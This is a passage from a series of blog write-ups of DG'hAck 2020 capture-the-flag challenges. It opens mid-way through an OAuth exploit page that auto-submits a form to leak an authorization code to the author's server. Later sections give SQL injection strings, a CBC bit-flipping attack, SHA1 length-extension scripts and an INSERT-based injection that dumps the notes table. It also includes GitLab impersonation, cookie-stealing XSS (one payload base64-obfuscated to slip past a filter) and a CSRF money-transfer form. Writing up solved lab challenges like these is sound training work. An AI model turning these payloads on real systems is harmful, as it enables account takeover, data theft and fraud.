$fd = fopen('dump.txt', 'a+');
$d = date(DATE_ATOM);
fwrite($fd, "========== " . $d . " ========\n");
fwrite($fd, json_encode(getallheaders()));
fwrite($fd, "\n==========\n\n");
fclose($fd);

$tartarget_url = urlencode("http://syndevio.com/php/dest.php");
$target_url = urlencode("http://jobboard2.chall.malicecyber.com/safelink/" . $tartarget_url);
$final_url = "http://jobboard2.chall.malicecyber.com/oauth/authorize?client_id=svvhKlyEA7qODbl16JTUPQNz&response_type=code&scope=profile&redirect_uri=" . $target_url;
$realfinal_url = "https://jobboard2.chall.malicecyber.com/safelink/" . urlencode($final_url);

// url for this page: http://syndevio.com/php/index.php
// => get code in logs
// => use code in next url:
// http://jobboard2.chall.malicecyber.com/connect/auth/callback?code=zpxFUTs3YEsXLYOyWhMrgEj4jFl1XUzHgwbJ8aMFfv6N5Wsb
// win!

$redirect = true;
$redirect = true;

?><html>

  <head>
<script type="text/javascript">
function eventFire(el, etype){
  if (el.fireEvent) {
    el.fireEvent('on' + etype);
  } else {
    var evObj = document.createEvent('Events');
    evObj.initEvent(etype, true, false);
    el.dispatchEvent(evObj);
  }
}

window.onload = (event) => {
  console.log('hllo');
  setTimeout(function() {
    var el = document.getElementById('thisone');
    console.log(el);
    el.submit();
  }, 1000);
}
</script>
  </head>

  <body>
    <form method="POST" id="thisone" action="<?php echo $final_url; ?>">
      <input type="hidden" name="confirm" value="Accept">
      <button type="submit" name="confirm" value="Accept">x</button>
    </form>
  </body>
</html>

<!--
<?php
var_dump($target_url);
var_dump($final_url);
?>

We send the url to this php script to the target. It will be launched in its browser, and we can check on our webserver logs it worked:

==> /var/log/nginx/blah.com_access.log <==
46.30.202.223 - - [25/Nov/2020:13:55:42 +0100] "GET /php/dest.php?code=CZlXBcLdNf11hnJgCpi7r22Y27kfgTEH4EOQBIo2qzyfbGIa HTTP/1.1" 404 242 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3945.130 Safari/537.36"

We have a valid registration code. We just need to use it on the jobboard: http://jobboard2.chall.malicecyber.com/connect/auth/callback?code=CZlXBcLdNf11hnJgCpi7r22Y27kfgTEH4EOQBIo2qzyfbGIa and that’s it. The flag is DontRollYourOwn.

Involucrypt 2 Link to heading

This cryptography challenge is the follow-up of the first one. But, even if the algo is the exact same, this one has a 1497 long character file to read. Brute forcing is no longer possible as we’re facing a 10 character long password.

However, I found out as the algorithm was like: Take a char from the password, create a random engine, crypt the block character & randomly sort all characters in the process, that we could reverse the algorithm, starting from the last block, following the random shift to understand where the characters from the last block crypted were, then xor them with the key generated from all existing printable characters, and found out which character of the password would generate a key decrypting only printable characters.

The process worked quite well, and I was able to rebuild the password. The modified crypt.py was then like:


# Some global values required on the process
keep = False
fields = []
done = 0

... snip ...
# Patching the shuffle function to know where the moved characters are
    def shuffle(self, my_list):
        global keep, fields
        z = len(my_list) - 1

        if keep:
            fields.append(z)

        for i in range(len(my_list) - 1, 0, -1):
            was_i = False
            was_j = False
            j = self.get_rand_int(0, i + 1)
            my_list[i], my_list[j] = my_list[j], my_list[i]

            if keep and i in fields:
                fields.remove(i)
                was_i = True

            if keep and j in fields:
                fields.remove(j)
                was_j = True

            if was_i:
                fields.append(j)
            if was_j:
                fields.append(i)

... snip ...

# New keystream: Basically the same, but we marked keep = True only for the iteration we're in.
def keystream(seeds, length, base=None):
    # Thats a new key: we clean up stuff we want to keep.
    global fields, keep, prefix
    keep = False
    fields = []
    done = 0

    key = base if base else []
    for seed in seeds:
        if done >= len(prefix):
            keep = True
        done = done + 1
        random = mersenne_rng(seed)

        for _ in range(BLOCK):
            if len(key) == length:
                break
            key.append(random.get_rand_int(0, 255))
            random.shuffle(key)
        if len(key) == length:
            break

    return key

... snip ...

prefix = ''
suffix = ''

# The function to search for the password.
while len(suffix) < 10:
    for c in string.printable:
        prefix = 'A' * (10 - len(c+suffix))
        new_key = prefix + c + suffix
        out = list(encrypt(contents, new_key))

        possible = True

        for f in fields:
            if chr(out[f]) not in string.printable:
                possible = False
                break

            if not possible:
                break

        if possible:
            suffix = c + suffix
            print('possible:', new_key, 'new suffix:', suffix)
            break

Running it:

$ pypy3 crypt.py 
possible: AAAAAAAAAi new suffix: i
possible: AAAAAAAAoi new suffix: oi
possible: AAAAAAAtoi new suffix: toi
possible: AAAAAAptoi new suffix: ptoi
possible: AAAAAsptoi new suffix: sptoi
possible: AAAAisptoi new suffix: isptoi
possible: AAAfisptoi new suffix: fisptoi
possible: AAjfisptoi new suffix: jfisptoi
possible: Ajjfisptoi new suffix: jjfisptoi
possible: ajjfisptoi new suffix: ajjfisptoi

The password resulting to this was ajjfisptoi, and the flag extracted from the crypted file supahotfire.

DG'hAck: Sad Crypto and Stickitup

pm@mkz.me (Patrick MARIE) — Wed, 02 Dec 2020 13:43:03 +0100

Sad Crypto Link to heading

The challenge is now to retrieve encryption keys from a SSN web service. You’ll face a login/password form with a captcha at first. It will be easily breakable using a basic SQL injection. I mean, login " or 1=1;--, password " or 1=1;-- will just work.

Once logged-in, you’ll find out you can’t query for your target. However, there is quite a few another entries, like Bruce Wayne, in the database. Querying for this user will return the encryption key 797b4c-c4bd852fe0e32ebda194cb2a9fe00099.

Following the requests, you’ll find out that it will start by:

curl 'http://sadcrypto.chall.malicecyber.com/api/v1/validate' \
  -H 'authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjpbeyJpZCI6MX1dLCJpYXQiOjE2MDYyOTA1NTQsImV4cCI6MTYwNjQ2MzM1NH0.jkPNS-jZT8HzDTsQnu3Clbp4xXiJVZI1dgQNrJCvRgI' \
  --data-raw 'ssn=1-78-67-78-356-789-12'
... snip ...
{"success":true,"message":"","data":{"keyRequest":"33fbce50e4643f46a70a5e9b79d9897937ba685ef43821990072643c905b3af5b6fc128c4fef6d8260a52a3f55d358d4"}}

and will continue with

curl 'http://sadcrypto.chall.malicecyber.com/api/v1/keygen/33fbce50e4643f46a70a5e9b79d9897937ba685ef43821990072643c905b3af5b6fc128c4fef6d8260a52a3f55d358d4' \
  -H 'authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjpbeyJpZCI6MX1dLCJpYXQiOjE2MDYyOTA1NTQsImV4cCI6MTYwNjQ2MzM1NH0.jkPNS-jZT8HzDTsQnu3Clbp4xXiJVZI1dgQNrJCvRgI'
... snip ...
{"success":true,"message":"","hash":"797b4cc4bd852fe0e32ebda194cb2a9fe00099427615c4aae33ad77c9fa298fd"}

If we try with our target SSN (1-46-85-30-750-318-37), it will fail:

$ curl 'http://sadcrypto.chall.malicecyber.com/api/v1/validate'   -H 'authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjpbeyJpZCI6MX1dLCJpYXQiOjE2MDYyOTA1NTQsImV4cCI6MTYwNjQ2MzM1NH0.jkPNS-jZT8HzDTsQnu3Clbp4xXiJVZI1dgQNrJCvRgI'   --data-raw 'ssn=1-46-85-30-750-318-37'
... snip...
{"success":false,"message":"Cette ressource est verrouillée"}

Okay, sad. Let’s get back to the last query, and modify a bit, just to find out what it will do:

$ curl 'http://sadcrypto.chall.malicecyber.com/api/v1/keygen/33fbc750e4643f46a70a5e9b79d9897937ba685ef43821990072643c905b3af5b6fc128c4fef6d8260a52a3f55d358d4'
   -H 'authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjpbeyJpZCI6MX1dLCJpYXQiOjE2MDYyOTA1NTQsImV4cCI6MTYwNjQ2MzM1NH0.jkPNS-jZT8HzDTsQnu3Clbp4xXiJVZI1dgQNrJCvRgI'
... snip...
{"ssn":"1->8-67-78-356-789-12","success":false,"message":"le numéro de sécurité sociale soumis est invalide"}

Oh. It modified the SSN. So, the keyRequest field is somewhat linked with SSN. Most likely, the SSN is in fact encrypted. As the SSN is 21 bytes, the keyRequest 48 bytes, and modifying a single bit in the first bytes of the keyRequest, than we’re facing to some crypto with an IV vulnerable to some bitflipping attack. Modifying more bytes will confirm this, because modifying the 17th byte will rewrite the whole first block, meaning we are facing some CBC block cryptography. keyRequest is in the form

[.......IV.......][....block 1.....][....block 2.....]

Modifying IV will modifying uncrypted block 1 because of CBC (as IV is xoring result of unencryption of block1). Modifying crypted block1 will modify uncrypted block2, and so on. So, to modify the SSN from Bruce Wayne’s to our target’s, we must flip bits from encrypted 1st block, then flip bits from IVs. To do this, I wrote & used 2 tools:

$ ./test_crypto 1-78-67-78-356-789-12 33fbce50e4643f46a70a5e9b79d9897937ba685ef43821990072643c905b3af5b6fc128c4fef6d8260a52a3f55d358d4
new: 33fbce50e4643f46a70a5e9b79d98979 3ebb685cf13821990072643c905b3af5b6fc128c4fef6d8260a52a3f55d358d4

$ curl 'http://sadcrypto.chall.malicecyber.com/api/v1/keygen/33fbce50e4643f46a70a5e9b79d989793ebb685cf13821990072643c905b3af5b6fc128c4fef6d8260a52a3f55d358d4'
   -H 'authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjpbeyJpZCI6MX1dLCJpYXQiOjE2MDYyOTA1NTQsImV4cCI6MTYwNjQ2MzM1NH0.jkPNS-jZT8HzDTsQnu3Clbp4xXiJVZI1dgQNrJCvRgI'
{"ssn":"\u0002ï¿½\u0006ï¿½ï¿½\u000e9Ç®\u0000ï¿½ï¿½S\u0003ï¿½18-37","success":false,"message":"le numéro de sécurité sociale soumis est invalide"}

2nd tool will bruteforce again API to find out the first bits to flip:

$ python bf eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjpbeyJpZCI6MX1dLCJpYXQiOjE2MDYyOTA1NTQsImV4cCI6MTYwNjQ2MzM1NH0.jkPNS-jZT8HzDTsQnu3Clbp4xXiJVZI1dgQNrJCvRgI 33fbce50e4643f46a70a5e9b79d989793ebb685cf13821990072643c905b3af5b6fc128c4fef6d8260a52a3f55d358d4

http://sadcrypto.chall.malicecyber.com/api/v1/keygen/00fbce50e4643f46a70a5e9b79d989793ebb685cf13821990072643c905b3af5b6fc128c4fef6d8260a52a3f55d358d4
{"ssn":"1?\u0006??\u000e9?\u0000??S\u0003?18-37","success":false,"message":"le num?ro de s?curit? sociale soumis est invalide"}
00
        ^
...

http://sadcrypto.chall.malicecyber.com/api/v1/keygen/0005fc9e38ce045253940d9b79d989793ebb685cf13821990072643c905b3af5b6fc128c4fef6d8260a52a3f55d358d4
{"ssn":"1-46-85-30S??S\u0003?18-37","success":false,"message":"le num?ro de s?curit? sociale soumis est invalide"}
                  ^
...

http://sadcrypto.chall.malicecyber.com/api/v1/keygen/0005fc9e38ce04525394734983baa79f3ebb685cf13821990072643c905b3af5b6fc128c4fef6d8260a52a3f55d358d4
{"ssn":"1-46-85-30-750-\t18-37","success":false,"message":"le num?ro de s?curit? sociale soumis est invalide"}
                       ^^
http://sadcrypto.chall.malicecyber.com/api/v1/keygen/0005fc9e38ce04525394734983baa7a03ebb685cf13821990072643c905b3af5b6fc128c4fef6d8260a52a3f55d358d4
{"success":true,"message":"","hash":"5c2b14d8b055058bd47fa73de886000eb264281fa5292cdf81dd896541dc1930"}
'ssn'

http://sadcrypto.chall.malicecyber.com/api/v1/keygen/0005fc9e38ce04525394734983baa7a13ebb685cf13821990072643c905b3af5b6fc128c4fef6d8260a52a3f55d358d4
{"success":true,"message":"","hash":"2f4746d53204699f60f2ba0f689bcee2d5ecc8e0c3fa042f883cedb949591e9c"}
'ssn'

At the end, we just need to test the last remaining hash (a couple), and once you’ve got the correct hash, to reformat it to get the flag: 2ed35b-fd91f07094b4447deac135cb8d4b6e45.

StickItUp Link to heading

You’re now facing a post-it like website: A registration form, a login form, a page to send write post-its, read them & delete them. Nothing fancy.

In the source code of the main page, we’re seeing:

<!-- $_COOKIES['auth'] = 'testuser:' . sha1(SECRET_KEY . 'testuser'); -->

This auth cookie is in the auth:hash form. Hash is doing 20 bytes because it is a sha1. It is definitely vulnerable to a length extension attack.

Before continuing, we’ll retrieve valid cookie value (dump from chrome):

curl 'http://stickitup.chall.malicecyber.com/notes.php' \
  -H 'Referer: http://stickitup.chall.malicecyber.com/member.php' \
  -H 'Cookie: PHPSESSID=517sutmuivn1u443jh15u2dhu1; auth=testaroo%3A4e481149bcbd121513e4f1a0c2366c96e77bb676' \
  --data-raw 'title=new+note&text=new+content'

We’ll make use of hash extender to guess the key size.

#!/bin/sh

HASHEXT=$HOME/tmp/hash_extender/hash_extender

for i in $(seq 1 30); do
    out=$($HASHEXT -f sha1 -s cbbd5ced55a1924075dca803f727b7f5eaabdf90 -d aaaa0 -a A -l $i --out-data-format=html --table)

    user=$(echo $out | cut -d ' ' -f3)
    sig=$(echo $out | cut -d ' ' -f2)

    curl -s 'http://stickitup.chall.malicecyber.com/member.php' -H "Cookie: PHPSESSID=n4um3fehrhrp0834uidgp7ljj4; auth=$user:$sig" |grep "Add note"
    res=$?
    echo "secret:$i:$res"
done

As a result:

$ sh check_cookie.sh
secret:1:1
secret:2:1
...
secret:15:1
Binary file (standard input) matches
secret:16:0
...

Key is 16 bytes long. We just needed that. Now, we can craft any valid username:hash values. As the new user value is trusted by the website, it is still required to find the vulnerability to exploit it using our user. With more research, we find out using or sleep(1) in the username than the website is vulnerable to a SQL injection in the username:

testaroo%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c0%27+or+sleep%281%29+or+%271%27%3d%271:9d156c0f4247f9a3ca6056ccebf7d6c65f26dfb2

As we’re running this in the notes.php query, which creates a post-it, we can safely conclude we’re in an INSERT query. The query is most likely:

INSERT INTO posts(alias, title, text) VALUES('testaroo<--- payload --->', 'title', 'note');

We can make use of multiple record inserts to add anything we want in the query, like:

INSERT INTO posts(alias, title, text) VALUES('alias1','title','note'),('alias','title','note'),('alias','title','note');

To enable this, we create a quick script

#!/bin/sh

query=$(echo -n $1 | xxd -p)
query=$1

if test "x$query" = "x"; then
    exit 0
fi

base_user=testaroo
base_pass=4e481149bcbd121513e4f1a0c2366c96e77bb676
base_cookie=517sutmuivn1u443jh15u2dhu1

stuff=$(./hash_extender/hash_extender -f sha1 -s $base_pass -a "$query" -l 16 -d $base_user --out-data-format=html --table)

user=$(echo $stuff|cut -d' ' -f3)
pass=$(echo $stuff|cut -d' ' -f2)

echo $user:$pass

title=title$RANDOM
text=text$RANDOM

echo "Doing: INSERT INTO posts (alias, title, text) VALUES (\"$user\", \"$title\", \"$text\");"

curl -v 'http://stickitup.chall.malicecyber.com/notes.php' \
  -H 'Origin: http://stickitup.chall.malicecyber.com' \
  -H "Cookie: PHPSESSID=${base_cookie}; auth=$user:$pass" \
  --data-raw "title=${title}&text=${text}"

echo; echo; echo

curl -sv 'http://stickitup.chall.malicecyber.com/member.php' --output - \
  -H "Cookie: PHPSESSID=n4um3fehrhrp0834uidgp7ljj4; auth=$user:$pass" |sed -e 's/<[^>]*>//g' | sed '/^[[:space:]]*$/d'

decoded_user=$(echo $user |python3 -c "import sys; from urllib.parse import unquote; print(unquote(sys.stdin.read()));" 2>/dev/null)

echo "Doing: INSERT INTO posts (alias, title, text) VALUES (\"$decoded_user\", \"$title\", \"$text\");"

As a result, we create a new post-it with all values from all existing post-its:

$ sh query.sh 'a","a","b"),("testaroo", "title", (SELECT titles FROM (SELECT GROUP_CONCAT(content SEPARATOR ",") as titles FROM note) a)),("testaroo'
testaroo%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c0a%22%2c%22a%22%2c%22b%22%29%2c%28%22testaroo%22%2c+%22title%22%2c+%28SELECT+titles+FROM+%28SELECT+GROUP%5fCONCAT%28content+SEPARATOR+%22%2c%22%29+as+titles+FROM+note%29+a%29%29%2c%28%22testaroo:8884b6aa3589f5d0ff7beeb72b1b0845f5df55ec
...
Doing: INSERT INTO posts (alias, title, text) VALUES ("testarooï¿½ï¿½a","a","b"),("testaroo",+"title",+(SELECT+titles+FROM+(SELECT+GROUP_CONCAT(content+SEPARATOR+",")+as+titles+FROM+note)+a)),("testaroo", "title11968", "text30311");

And checking our post-its, we’ll find out that the flag is -+-{{akUX7Aihx9}}-+-.

DG'hAck: Gitbad, Bwing & Shadowmallet, Time for something different

pm@mkz.me (Patrick MARIE) — Tue, 01 Dec 2020 21:02:53 +0100

Gitbad Link to heading

The Gitbad challenge is a gitlab instance, in which it is required to find some sensible data. Once registered on the service, we see on the “help” page that version running is GitLab Community Edition 8.3.0 02076d7 with a big fat red “UPDATE ASAP” warning.

So, update asap, isn’t it? Let’s check CVEs. There is one interesting: CVE-2016-4340. It specifies The impersonate feature in Gitlab 8.3.0 […] allows remote authenticated users to “log in” as any other user via unspecified vectors. Another little check, and we’re getting some more details about it:

Login as regular user.
Get current authenticity token by observing any POST-request (ex.: change any info in user profile).

Craft request using this as template:
 
POST /admin/users/stop_impersonation?id=root

...

_method=delete&authenticity_token=lqyOBt5U%2F0%2BPM2i%2BGDx3zaVjGgAqHzoteQ15FnrQ3E8%3D

We need to find the authenticity_token. To get it, just go in your profile, open the developer console, click save, check the POST request, and the token should be in it:

_method: put
authenticity_token: cge+0nzmxDI6CAg6uzKEhcuzxcAMp9bJRvGrnz71K2owJqkeryiwGkqjVM/pNBoROphIDRPjH4rY6qseuqbPYw==
user[name]: testaroo
user[email]: test@test.com

Next step is to find the administrator’s id. Go in the Dashboard, create a new Group. In the Group settings, in the Members tab, search for Administrator, and you’ll get the Admin ID: "name":"Administrator","username":"8e4684f1498aad818870376301b15426"

So, we have our token, we have administrator’s ID. Let’s craft the stop_impersonation query in the JS console:

$.post('/admin/users/stop_impersonation?id=8e4684f1498aad818870376301b15426', '_method=delete&authenticity_token=cge+0nzmxDI6CAg6uzKEhcuzxcAMp9bJRvGrnz71K2owJqkeryiwGkqjVM/pNBoROphIDRPjH4rY6qseuqbPYw%3D%3D');

Reload the gitbad page, and… you’ll be administrator. You still need to find the flag.

In the Admin area, you’ll be able to list projects. Search for the archived ones, you’ll get the stephan/my-secret-project. Check the added my private key commit and:

+flag: W3lL-d0N3-y0u-w1n-a_c4ke!

This challenge is flag’ed!

Bwing & Shadowmallet Link to heading

Those two challenges are quite similar. You are getting a memory dump of a running server, and you must find the flag in it. In the first one, bwing, that’s just a file on the FS in memory. In the second one, it is a loadable kernel module backdoor (The challenge title is a reference to the shadow hammer APT). As those are memory dumps, we’ll make use of the volatility framework.

For Bwing: Link to heading

$ vol.py --plugin profiles --profile LinuxUbuntu_4_15_0-66-generic_profilex64 -f dump.raw linux_recover_filesystem --dump-dir out
Volatility Foundation Volatility Framework 2.6.1
... snip ...

$ cat out/mnt/confidential/flag.txt 
C0D3N4M34P011011

For Shadowmallet Link to heading

$ vol.py --plugin profiles --profile LinuxDebian_4_19_0-9-amd64_profilex64 -f shadowmallet linux_recover_filesystem --dump-dir out
... snip ...

$ strings out/var/log/kern.log |grep -i taint
Nov  9 17:30:13 contrib-buster kernel: [    1.605821] netfilter: loading out-of-tree module taints kernel.
Nov  9 17:30:13 contrib-buster kernel: [    1.605836] netfilter: module verification failed: signature and/or required key missing - tainting kernel

$ vol.py --plugin profiles --profile LinuxDebian_4_19_0-9-amd64_profilex64 -f shadowmallet linux_hidden_modules
Volatility Foundation Volatility Framework 2.6.1
Offset (V)         Name
------------------ ----
0xffffffffc04a6000 netfilter
0xffffffffc0578300 qni

$ vol.py --plugin profiles --profile LinuxDebian_4_19_0-9-amd64_profilex64 -f shadowmallet linux_moddump --dump-dir mods -b 0xffffffffc04a6000
Volatility Foundation Volatility Framework 2.6.1
Wrote 668514 bytes to netfilter.0xffffffffc04a6000.lkm

$ strings -n 10 mods/netfilter.0xffffffffc04a6000.lkm |head -5
4.19.0-9-amd64
[]A\A]A^A_
[]A\A]A^A_
YES SHA1 is CORRECT
B3tterR=H1deMebeTT3r=then!Right?

Time for something different Link to heading

In that one, you’re getting a data.pcap file. You can read it quickly with tcpdump:

$ tcpdump -r data.pcap 
reading from file data.pcap, link-type EN10MB (Ethernet)
11:28:05.271523 IP 192.168.0.14 > 192.168.0.254: ICMP echo request, id 0, seq 0, length 8
11:28:05.974534 IP 192.168.0.14 > 192.168.0.254: ICMP echo request, id 0, seq 0, length 8
11:28:06.737381 IP 192.168.0.14 > 192.168.0.254: ICMP echo request, id 0, seq 0, length 8
11:28:07.390550 IP 192.168.0.14 > 192.168.0.254: ICMP echo request, id 0, seq 0, length 8
11:28:08.103364 IP 192.168.0.14 > 192.168.0.254: ICMP echo request, id 0, seq 0, length 8
11:28:09.336651 IP 192.168.0.14 > 192.168.0.254: ICMP echo request, id 0, seq 0, length 8
11:28:10.500205 IP 192.168.0.14 > 192.168.0.254: ICMP echo request, id 0, seq 0, length 8
11:28:10.982931 IP 192.168.0.14 > 192.168.0.254: ICMP echo request, id 0, seq 0, length 8
11:28:11.465408 IP 192.168.0.14 > 192.168.0.254: ICMP echo request, id 0, seq 0, length 8
11:28:12.617796 IP 192.168.0.14 > 192.168.0.254: ICMP echo request, id 0, seq 0, length 8
11:28:13.701056 IP 192.168.0.14 > 192.168.0.254: ICMP echo request, id 0, seq 0, length 8
11:28:14.814156 IP 192.168.0.14 > 192.168.0.254: ICMP echo request, id 0, seq 0, length 8
11:28:15.686772 IP 192.168.0.14 > 192.168.0.254: ICMP echo request, id 0, seq 0, length 8
11:28:16.799993 IP 192.168.0.14 > 192.168.0.254: ICMP echo request, id 0, seq 0, length 8
11:28:17.943153 IP 192.168.0.14 > 192.168.0.254: ICMP echo request, id 0, seq 0, length 8
11:28:19.106441 IP 192.168.0.14 > 192.168.0.254: ICMP echo request, id 0, seq 0, length 8
11:28:19.589015 IP 192.168.0.14 > 192.168.0.254: ICMP echo request, id 0, seq 0, length 8
11:28:20.071611 IP 192.168.0.14 > 192.168.0.254: ICMP echo request, id 0, seq 0, length 8
11:28:20.754520 IP 192.168.0.14 > 192.168.0.254: ICMP echo request, id 0, seq 0, length 8
11:28:21.266580 IP 192.168.0.14 > 192.168.0.254: ICMP echo request, id 0, seq 0, length 8
11:28:22.449633 IP 192.168.0.14 > 192.168.0.254: ICMP echo request, id 0, seq 0, length 8
11:28:22.942506 IP 192.168.0.14 > 192.168.0.254: ICMP echo request, id 0, seq 0, length 8
11:28:24.054744 IP 192.168.0.14 > 192.168.0.254: ICMP echo request, id 0, seq 0, length 8
11:28:25.228047 IP 192.168.0.14 > 192.168.0.254: ICMP echo request, id 0, seq 0, length 8
11:28:25.589787 IP 192.168.0.14 > 192.168.0.254: ICMP echo request, id 0, seq 0, length 8
11:28:26.843252 IP 192.168.0.14 > 192.168.0.254: ICMP echo request, id 0, seq 0, length 8

I’ve quickly checked icmp packets, but nothing strange/relevant in them. The main information is in timestamp (and this is the name of the challenge, right?). We quickly see deltas between pings are not regular. Let’s take a better look at those deltas:

$ tcpdump -ttt -r data.pcap  | cut -d ':' -f3 | cut -d ' ' -f 1 | sed -e 's/\.//;s/^0//;s/....$//' | xargs
reading from file data.pcap, link-type EN10MB (Ethernet)
000 070 076 065 071 123 116 048 048 115 108 111 087 111 114 116 048 048 068 051 118 049 111 117 036 125

Most numbers are between 65 & 125. Ascii, if you ask me. Let’s check that:

$ tcpdump -ttt -r data.pcap  | cut -d ':' -f3 | cut -d ' ' -f 1 | sed -e 's/\.//;s/^0//;s/....$//' | awk '{printf("%c",$1)}'
reading from file data.pcap, link-type EN10MB (Ethernet)
FLAG{t00sloWort00D3v1ou$}

What did I learn ? Link to heading

Volatility! Seems like a must to know tool for forensic. Alas the profile generation is kinda a pain in the ass.⏎

DG'hAck: Easy Challenges

pm@mkz.me (Patrick MARIE) — Mon, 30 Nov 2020 19:45:41 +0100

Internal Support 1 Link to heading

Just a basic XSS. Grab the session cookies & you’re basically done:

<script>
window.onload = function() {
  var http = new XMLHttpRequest();
  var params = 'response=' + document.cookie + '&csrf_token=' + document.getElementById("csrf_token").value;
  console.log(params);

  http.open('POST', document.URL, true);
  http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
  http.send(params);
}
</script>

You’ll get the session cookie dumped, and you’ll be able to get the flag by replacing your own cookie by the one dumped. As a result:

Hide the flag "NoUserValidationIsADangerousPractice" a little bit better

Internal Support 2 Link to heading

The same than Internal Support 1, but with 2 restrictions:

You can’t paste JS anymore;
There is some IP checks for sessions (You can’t re-use a cookie from another IP).

As we can’t re-use the cookie, we’ll c/p paste the front page instead:

var z=new XMLHttpRequest();
z.open('GET', '/', false);
z.send(null);
var t=document.createElement("div");
t.innerHTML = z.responseText;
z.open('POST',document.URL,true);
z.setRequestHeader('Content-type','application/x-www-form-urlencoded');
z.send('response='+btoa(t.textContent.replace(/\s\s+/g,' '))+'&csrf_token='+document.getElementById("csrf_token").value);

To bypass the javascript filter, I’ll use the following html:

<body onload="eval(atob('dmFyIHo9bmV3IFhNTEh0dHBSZXF1ZXN0KCk7Cnoub3BlbignR0VUJywgJy8nLCBmYWxzZSk7Cnouc2VuZChudWxsKTsKdmFyIHQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iik7CnQuaW5uZXJIVE1MID0gei5yZXNwb25zZVRleHQ7Cnoub3BlbignUE9TVCcsZG9jdW1lbnQuVVJMLHRydWUpOwp6LnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtdHlwZScsJ2FwcGxpY2F0aW9uL3gtd
3d3LWZvcm0tdXJsZW5jb2RlZCcpOwp6LnNlbmQoJ3Jlc3BvbnNlPScrYnRvYSh0LnRleHRDb250ZW50LnJlcGxhY2UoL1xzXHMrL2csJyAnKSkrJyZjc3JmX3Rva2VuPScrZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNzcmZfdG9rZW4iKS52YWx1ZSk7Cg=='))">

And you’ll get the flag:

Hide the flag "BEtter_BUT_ST!LL_N0tttttttttt++Prfct!" a little bit better

UpCredit Link to heading

Another webapp. In it, a form to send money (but you don’t get any), an a contact form. By studying the contact form, you can send a link to the advisor browser. You just need to send a form with some auto-submit (there is no CSRF protection):

<html>
<head></head>
<body onload="javascript:document.forms[0].submit()">
<form method="POST" action="http://upcredit4.chall.malicecyber.com/transfer" id="form" name="form">
  <input type="hidden" id="account" name="account" value="9yDbRkzeg">
  <input type="hidden" id="amount" name="amount" value="1000">
  <button type="submit" id="reg-submit">Send</button>
</form>
</body>
</html>

You’ll get 1000€, you can buy the flag: W1nG4rD1um\L3v1os444!.

Server Room Link to heading

In this one, you’ve got a somewhat big image file, called found_in_server_room.img.gz. No surprise, it is a disk dump:

# file found_in_server_room.img 
found_in_server_room.img: DOS/MBR boot sector; partition 1 : ID=0xc, start-CHS (0x40,0,1), end-CHS (0x3ff,3,32), startsector 8192, 524288 sectors; partition 2 : ID=0x83, start-CHS (0x3ff,3,32), end-CHS (0x3ff,3,32), startsector 532480, 3072000 sectors

# fdisk -l found_in_server_room.img 
Disk found_in_server_room.img: 1.72 GiB, 1845493248 bytes, 3604479 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x907af7d0

Device                    Boot  Start     End Sectors  Size Id Type
found_in_server_room.img1        8192  532479  524288  256M  c W95 FAT32 (LBA)
found_in_server_room.img2      532480 3604479 3072000  1.5G 83 Linux

Trying to mount it will fail:

# losetup -a /dev/loop0 found_in_server_room.img

# dmesg | tail -3
[269041.763511] blk_update_request: I/O error, dev loop0, sector 0 op 0x1:(WRITE) flags 0x800 phys_seg 0 prio class 0
[269041.763715] blk_update_request: I/O error, dev loop0, sector 0 op 0x1:(WRITE) flags 0x800 phys_seg 0 prio class 0
[269047.631585] EXT4-fs (loop0): bad geometry: block count 384000 exceeds size of device (383999 blocks)

Fixing it:

# ll found_in_server_room.img 
-rw-r--r--. 1 mycroft mycroft 1845493248 Nov 30 21:03 found_in_server_room.img

# truncate --size=$((1845493248 + 4096)) found_in_server_room.img 
# ll found_in_server_room.img 
-rw-r--r--. 1 mycroft mycroft 1845497344 Nov 30 21:05 found_in_server_room.img

# losetup -o $((532480 * 512)) loop0 found_in_server_room.img
# mount /dev/loop0 /mnt
#

Once mounted, let’s take a look at the logs. Nothing much interesting but:

Aug 27 14:31:21 backpack systemd[1]: Started Update UTMP about System Runlevel Changes.
Aug 27 14:31:21 backpack systemd[1]: Startup finished in 3.262s (kernel) + 18.875s (userspace) = 22.138s.
Aug 27 14:31:24 backpack dhcpcd[563]: eth0: no IPv6 Routers available
Aug 27 14:31:26 backpack dhcpcd[563]: wlan0: using static address 192.168.100.1/24
Aug 27 14:31:26 backpack avahi-daemon[367]: Joining mDNS multicast group on interface wlan0.IPv4 with address 192.168.100.1.
Aug 27 14:31:26 backpack avahi-daemon[367]: New relevant interface wlan0.IPv4 for mDNS.
Aug 27 14:31:26 backpack avahi-daemon[367]: Registering new address record for 192.168.100.1 on wlan0.IPv4.
Aug 27 14:31:26 backpack dhcpcd[563]: wlan0: adding route to 192.168.100.0/24
Aug 27 14:31:35 backpack dhcpcd[563]: wlan0: no IPv6 Routers available
Aug 27 14:31:36 backpack systemd[1]: systemd-fsckd.service: Succeeded.
Aug 27 14:31:48 backpack systemd-timesyncd[305]: Synchronized to time server for the first time 212.83.158.83:123 (2.debian.pool.ntp.org).
Aug 27 14:31:53 backpack systemd[1]: systemd-hostnamed.service: Succeeded.
Aug 27 14:32:04 backpack hostapd: wlan0: STA 02:6c:0d:3b:04:17 IEEE 802.11: associated
